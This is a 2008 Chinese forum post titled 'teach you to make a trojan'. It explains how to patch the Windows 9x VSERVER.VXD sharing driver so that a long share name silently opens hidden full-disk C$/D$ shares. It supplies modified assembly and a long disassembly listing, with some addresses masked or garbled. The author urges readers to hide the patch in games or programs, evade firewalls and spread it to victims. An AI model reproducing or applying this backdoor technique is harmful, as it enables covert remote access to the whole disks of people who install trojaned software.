|
楼主 |
发表于 2008-11-18 12:19:25
|
显示全部楼层
|阅读模式
来自 安徽省安庆市
教你做木马
<DIV class=t_msgfont
id=message62***36>网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这
就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通
信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作
出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。
下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的木马
来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,就是登
陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程序,SUB_
0027校验密码,密码对了后后面检测共享名是ADMIN
$否,是就看C$,D$...共享没有(DATA_0431==0?),没
共享就调用SUB_0230共享,SUB_0230
一个参数就是密码指针,如果密码指针为0就没密码。这儿为了好改
动就用的这个参数。显然我们就可以必要的时候调用SUB_0230就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出错返回,显然我们可以利用这儿去调用SUB_0230.
看LOC_0419 有7个字节可以利用,可以安排
CALL SUB_0230
NEW_LOC_0418 POP eax
jmp
03***69
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE
NEW_
LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH
0以调用SUB_0230。
下面是LOC_0415的改法:
LOC_0415:
03***15 XOR EAX,EAX ;2
字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。
03***17 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数
0;
03***18 XOR ECX,ECX ;2 字节 ECX=0;
0341A DEC ECX ;1 字节
得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B mov edi,ebx ;2 bytes
0341D
repne scasb ;2 bytes
0341F SUB EDI,EBX ;2 bytes get the share name
long
03***21 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。
03***24 ja short
loc_0419 ; 2 byte
03***26 POP EAX ;1 byte 堆栈平衡
03***27 PUSH EDI ;1
byte
03***28 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用
刚好字节够用,注意DATA_0182
那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上
一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD
也改动,还有访问共享目录\\\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你
的程序散发。。。。。
中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可
以再访问\\\\IP\\C$,
\\\\IP\\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设
置远程管理的话 \\\\IP\\C$,\\\\IP\\D$...
都不能访问的,他自己用网络监视器也看不到这种共享的,所以很
不容易觉察的。注意你进入共享目录了网络监视器还是能看到。
;====================================================
;
SUBROUTINE
;
; Called from: 031FD,
32CC
;====================================================
033F4
sub_0026 proc near
033F4 56 push esi
033F5 66| 81 3B 5C5C cmp word ptr
[ebx],5C5Ch
033FA 74 07 je short loc_0412 ; Jump if equal
033FC 66| 81 3B
2F2F cmp word ptr [ebx],2F2Fh
03***01 75 12 jne short loc_0415 ; Jump if not
equal
03***03 loc_0412: ; xref 033FA
03***03 8D 73 02 lea esi,dword ptr
[ebx+2] ; Load effective addr
03***06 loc_0413: ; xref 0340F
03***06 E8
000****6961 call sub_0207 ; (09D6C)
0340B 74 05 jz short loc_0414 ; Jump if
zero
0340D 3C 5C cmp al,5Ch ; '\\'
0340F 75 F5 jne loc_0413 ; Jump if not
equal
03***11 46 inc esi
03***12 loc_0414: ; xref 0340B
03***12 8D 5E FF lea
ebx,dword ptr [esi-1] ; Load effective addr
03***15 loc_0415: ; xref
03***01
03***15 2A C0 sub al,al
03***17 B9 0000FFFF mov ecx,0FFFFh
0341C 8B
FB mov edi,ebx
0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for
al
03***20 8B C7 mov eax,edi
03***22 2B C3 sub eax,ebx
03***24 83 F8 0D cmp
eax,0Dh
03***27 77 26 ja short loc_0419 ; Jump if above
03***29 55 push
ebp
0342A 8B 2D 00***11CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ;
(11CA4=0)
03***30 loc_0416: ; xref 0344C
03***30 ?1 FD 00***11CA4 cmp
ebp,11CA4h
03***36 74 16 je short loc_0418 ; Jump if equal
03***38 80 7D 08 02
cmp byte ptr [ebp+ClientEBP],2
0343C 75 0B jne short loc_0417 ; Jump if not
equal
0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective
addr
03***41 8B FB mov edi,ebx
03***43 8B C8 mov ecx,eax
03***45 F3/ A6 repe
cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
03***47 74 3A jz short loc_0424 ;
Jump if zero
03***49 loc_0417: ; xref 0343C
03***49 8B 6D 00 mov ebp,dword ptr
[ebp+ClientEDI]
0344C EB E2 jmp short loc_0416 ; (03***30)
0344E loc_0418: ;
xref 03***36
0344E 5D pop ebp
0344F loc_0419: ; xref 03***27
0344F B8
000****0002 mov eax,60***02h
03***54 5E pop esi
03***55 F9 stc ; Set carry
flag
03***56 C3 retn
03***57 loc_0420: ; xref 0349F
03***57 8B 43 34 mov
eax,dword ptr [ebx+34h]
0345A 8B 1B mov ebx,[ebx]
0345C 81 FB 00***11CA4 cmp
ebx,11CA4h
03***62 74 0A je short loc_0421 ; Jump if equal
03***64 3B 43 34
cmp eax,dword ptr [ebx+34h]
03***67 74 2F je short loc_0425 ; Jump if
equal
03***69 B8 000****0002 mov eax,20***02h
0346E loc_0421: ; xref 03***62, 3481,
354D, 35E8
0346E ?E pop esi
0346F F9 stc ; Set carry flag
03***70 C3
retn
03***71 33 DB db 33h,0DBh
03***73 loc_0422: ; xref 0349D
03***73 5E pop
esi
03***74 C3 retn
03***75 loc_0423: ; xref 034C1
03***75 8B D3 mov
edx,ebx
03***77 鶥B 00***00A mov ebx,0Ah ; (0000A=0B8h)
0347C B8 005****0002 mov
eax,59***02h
03***81 EB EB jmp short loc_0421 ; (0346E)
03***83 loc_0424: ;
xref 03***47
03***83 8B DD mov ebx,ebp
03***85 59 pop ecx ;ebp ,the password
long
03***86 F6 05 000****2446 01 test byte ptr data_0317,1 ; (12***46=0)
0348D
75 12 jnz short loc_0426 ; Jump if not zero
0348F 8B 34 24 mov
esi,[esp]
03***92 F6 46 1F 01 test byte ptr [esi+1Fh],1
03***96 75 09 jnz
short loc_0426 ; Jump if not zero
03***98 loc_0425: ; xref 03***67
03***98 E8
000****0182 call sub_0027 ; (0361F) check the password
0349D 72 D4 jc loc_0422
; Jump if carry Set
0349F 75 B6 jnz loc_0420 ; Jump if not zero
034A1
loc_0426: ; xref 0348D, 3496
034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ;
'@'
034A5 0F 85 000****0089 jnz loc_0433 ; Jump if not zero
034AB A1 00***11CC4
mov eax,data_0190 ; (11CC4=0FFFFF000h)
034B0 80 38 01 cmp byte ptr
[eax],1
034B3 0F 83 000****0134 jae loc_0439 ; Jump if above or =
034B9
loc_0427: ; xref 0353B, 3564, 356F, 35F6
; 3611
034B9 66| 8B 53 0E mov
dx,word ptr [ebx+0Eh]
034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx
034C1
76 B2 jbe loc_0423 ; Jump if below or =
034C3 loc_0428: ; xref 03***28
034C3
8B 0D 00***11B34 mov ecx,dword ptr data_0170 ; (11B34=0)
034C9 85 C9 test
ecx,ecx
034CB 74 56 jz short loc_0431 ; Jump if zero
034CD 8B 01 mov
eax,[ecx]
034CF A3 00***11B34 mov data_0170,eax ; (11B34=0)
034D4 66| FF 43
0E inc word ptr [ebx+0Eh]
034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx
034DB
C6 41 14 03 mov byte ptr [ecx+14h],3
034DF 8A 41 17 mov al,byte ptr
[ecx+17h]
034E2 04 08 add al,8
034E4 0C C0 or al,0C0h
034E6 88 41 17
mov byte ptr [ecx+17h],al
034E9 C6 41 15 00 mov byte ptr [ecx+15h],0
034ED
8B 34 24 mov esi,[esp]
034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8
034F4
75 08 jnz short loc_0429 ; Jump if not zero
034F6 A1 00***11CC8 mov
eax,data_0191 ; (11CC8=0FFFFF000h)
034FB FF 40 10 inc dword ptr
[eax+10h]
034FE loc_0429: ; xref 034F4
034FE 5E pop esi
034FF 81 7B 11
494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ?
03***06 75 0E jne short
loc_0430 ; Jump if not equal
03***08 66| 81 7B 15 244E cmp word ptr
[ebx+15h],244Eh
0350E 75 06 jne short loc_0430 ; Jump if not equal
03***10
80 7B 17 00 cmp byte ptr [ebx+17h],0
03***14 74 61 je short loc_0435 ; Jump if
equal
03***16 loc_0430: ; xref 03***06, 350E, 3584
03***16 B8 00***11CD4 mov
eax,11CD4h
0351B E8 00***56BC call sub_0130 ; (08BDC)
03***20 85 DB test
ebx,ebx
03***22 C3 retn
03***23 loc_0431: ; xref 034CB
03***23 E8 000****0190
call sub_0028 ; (036B8)
03***28 73 99 jnc loc_0428 ; Jump if carry=0
0352A
EB 00 jmp short loc_0432 ; (0352C)
0352C loc_0432: ; xref 0352A
0352C 5F
pop edi
0352D B8 005****0002 mov eax,59***02h
03***32 F9 stc ; Set carry
flag
03***33 C3 retn
03***34 loc_0433: ; xref 034A5
03***34 8B 34 24 mov
esi,[esp]
03***37 F6 46 1F 01 test byte ptr [esi+1Fh],1
0353B 0F 85 FFFFFF78
jnz loc_0427 ; Jump if not zero
03***41 loc_0434: ; xref 03***75, 358F
03***41
?B D3 mov edx,ebx
03***43 BB 00***00B mov ebx,0Bh
03***48 B8 000****0001 mov
eax,50***01h
0354D E9 FFFFFF1C jmp loc_0421 ; (0346E)
;* No entry point to
code
03***52 8B 3C 24 mov edi,[esp]
03***55 53 push ebx
03***56 8B 35
00***28B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
0355C E8 FFFFE407
call sub_0009 ; (01***68)
03***61 5B pop ebx
03***62 0B ED or ebp,ebp ; Zero
?
03***64 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero
0356A 3E: 83 7D 10 00
cmp dword ptr ds:[ebp+ClientEBX],0
0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump
if not equal
03***75 EB CA jmp short loc_0434 ; (03***41)
03***77 loc_0435: ;
xref 03***14
03***77 F6 05 000****2446 01 test byte ptr data_0317,1 ;
(12***46=0)
0357E 74 11 jz short loc_0436 ; Jump if zero
03***80 F6 46 1F 01
test byte ptr [esi+1Fh],1
03***84 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not
zero
03***86 66| FF 4B 0E dec word ptr [ebx+0Eh]
0358A C6 41 14 00 mov byte
ptr [ecx+14h],0
0358E 56 push esi
0358F EB B0 jmp short loc_0434 ;
(03***41)
03***91 loc_0436: ; xref 0357E
03***91 80 4E 1F 01 or byte ptr
[esi+1Fh],1
03***95 C6 41 15 01 mov byte ptr [ecx+15h],1
03***99 8B FE mov
edi,esi
0359B 8B 35 00***28B8 mov esi,dword ptr data_0379 ;
(128B8=0FFFFF000h)
035A1 83 3D 00***34E0 00 cmp dword ptr data_0431,0 ; C$,D$
HAVE BEEN SHARED(134E0=0)
035A8 75 14 jne short loc_0437 ; Jump if not
equal
035AA 52 push edx
035AB 51 push ecx
035AC 8D 4B 1E lea ecx,dword
ptr [ebx+1Eh];THE ADMIN$ PASSWORD
035AF ?1 push ecx ; PARAMETER_1 if ecx=0
no password
035B0 E8 00***56F call sub_0230 ;MAKE C$,D$SHARE (0BB24)
035B5
59 pop ecx
035B6 59 pop ecx
035B7 5A pop edx
035B8 FF 05 00***34E0 inc
dword ptr data_0431 ; (134E0=0)
035BE loc_0437: ; xref 035A8
035BE 53 push
ebx
035BF E8 FFFFE3A4 call sub_0009 ; (01***68)
035C4 72 13 jc short
loc_0438 ; Jump if carry Set
035C6 8B 3D 00***11CCC mov edi,dword ptr data_0192
; (11CCC=0FFFFF000h)
035CC 8B BF 00***00E2 mov edi,dword ptr ds:[0E2h][edi] ;
(000E2=358B0000h)
035D2 89 7B 04 mov dword ptr [ebx+4],edi
035D5 5B pop
ebx
035D6 85 DB test ebx,ebx
035D8 C3 retn
035D9 loc_0438: ; xref
035C4
035D9 5A pop edx
035DA C6 41 14 00 mov byte ptr [ecx+14h],0
035DE
BB 00***00C mov ebx,0Ch
035E3 B8 000****0002 mov eax,10***02h
035E8 E9 FFFFFE81
jmp loc_0421 ; (0346E)
035ED loc_0439: ; xref 034B3
035ED 75 28 jnz short
loc_0440 ; Jump if not zero
035EF 8B 34 24 mov esi,[esp]
035F2 F6 46 1F 01
test byte ptr [esi+1Fh],1
035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not
zero
035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h
03***03 75 12
jne short loc_0440 ; Jump if not equal
03***05 66| 81 7B 15 244E cmp word ptr
[ebx+15h],244Eh
0360B 75 0A jne short loc_0440 ; Jump if not equal
0360D
80 7B 17 00 cmp byte ptr [ebx+17h],0
03***11 0F 84 FFFFFEA2 je loc_0427 ; Jump
if equal
03***17 loc_0440: ; xref 035ED, 3603, 360B
03***17 B8 005****0002 mov
eax,51***02h
0361C 5F pop edi
0361D F9 stc ; Set carry flag
0361E C3
retn
sub_0026 endp |
|